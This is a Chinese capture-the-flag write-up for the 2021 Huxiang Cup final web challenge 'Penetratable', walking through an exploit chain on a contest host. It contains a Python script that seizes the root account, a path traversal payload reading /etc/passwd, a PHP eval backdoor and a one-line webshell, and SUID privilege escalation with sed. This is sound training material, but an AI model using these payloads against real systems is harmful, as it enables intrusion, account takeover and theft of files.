[湖湘杯 2021 final]Penetratable

First Post:

Last Update:

见登录,爆密码,没成功,看见有注册,用admin”#注册改密码顶掉admin,成功登录,接着不明所以,扫目录,发现一大堆空白的php,逐一翻找,发现了req.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
function login(){
let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))
let pass=hex_md5($(".form-floating>input").eq(1).val())
$.ajax({
url: '/?c=app&m=login',
type: 'post',
data: 'name=' + name+'&pass=' + pass,
// async:true,
dataType: 'text',
success: function(data){
let res=$.parseJSON(data);
if (res['login']){
switch (res['type']){
case 'user': location.href="/?c=user"; break;
case 'admin': location.href="/?c=admin"; break;
case 'root': location.href="/?c=root"; break;
}
}else if(res['alertFlag']){
alert(res['alertData']);
}
}
});
}

function userUpdateInfo(){
let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
$.ajax({
url: '/?c=user&m=updateUserInfo',
type: 'post',
data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// async:true,
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}

function signOut(){
$.ajax({
url: '/?c=app&m=signOut',
type: 'get',
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}

function alertHandle(data){
let res=$.parseJSON(data);
if(res['alertFlag']){
alert(res['alertData']);
}
if(res['location']){
location.href=res['location'];
}
}

function changeAdminPage(type){
let page=$('.page').text();
if (type=='next'){
location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);
}
if (type=='last'){
location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);
}
}
function changeRootPage(type){
let page=$('.page').text();
if (type=='next'){
location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);
}
if (type=='last'){
location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);
}
}

function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}

function adminHome(){
location.href='/?c=root'
}

function getUserInfo(){
location.href='/?c=root&m=getUserInfo'
}

function getLogList(){
location.href='/?c=root&m=getLogList'
}

function downloadLog(filename){
location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}

function register(){
let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))
let pass=hex_md5($(".form-floating>input").eq(3).val())
let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
$.ajax({
url: '/?c=app&m=register',
type: 'post',
data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,
dataType: 'text',
success: function(data){
// console.log(data);
alertHandle(data);
}
});
}

看见有root,用同样的方法顶,没有权限改密码,看别人的wp知道了要发包,用admin用户改root的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import base64
from hashlib import md5
import requests
url1="http://node4.anna.nssctf.cn:28119/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'123').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://node4.anna.nssctf.cn:28119/?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
"newPass":pass2,
"oldPass":password,
"saying":"666"})
print(res2.text)

再次登录,能够下载文件了,看见filename=,试了试目录遍历,找到filename=../../../etc/passwd,以此进入../../../var/www/html/phpinfo.php,得到新线索

1
2
3
4
<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

让ai写了个脚本爆md5,结果是1q2w3e

再来到空白的/phpinfo.php,传参,cc可以执行ls /但cat不了flag,权限不够,改为写马,

1
/phpinfo.php?pass_31d5df001717=1q2w3e&cc=@eval($_POST[1]);

蚁剑链接,suid提权

1
find / -user root -perm -4000 -print

找到/bin/sed,于是

1
sed -n '1p' /flag

sed选项:

1
2
3
4
5
6
常见的sed命令选项包含以下几种:
-e或-expression=:表示用指定命令或者脚本来处理输入的文本文件
-f或-file-:表示用指定的脚本文件来处理输入的文件文件
-h或–help:显示帮助
-n、-quite或silent:表示仅表示处理后的结果
-i:直接编辑文本文件

sed操作:

1
2
3
4
5
6
7
a:增加,在当前行下面增加一行指定内容。
c:替换,讲选定行替换为指定内容。
d:删除,删除选定的行。
i:插入,在选定行上面插入一行指定内容。
p:打印,如果同时指定行,表示打印指定行;如果不指定行,则表示打印所有内容,如果又非打印字符,则以ASCLL码输出。通常与“-n”选项一起使用。
s:替换,替换指定字符
y:字符转换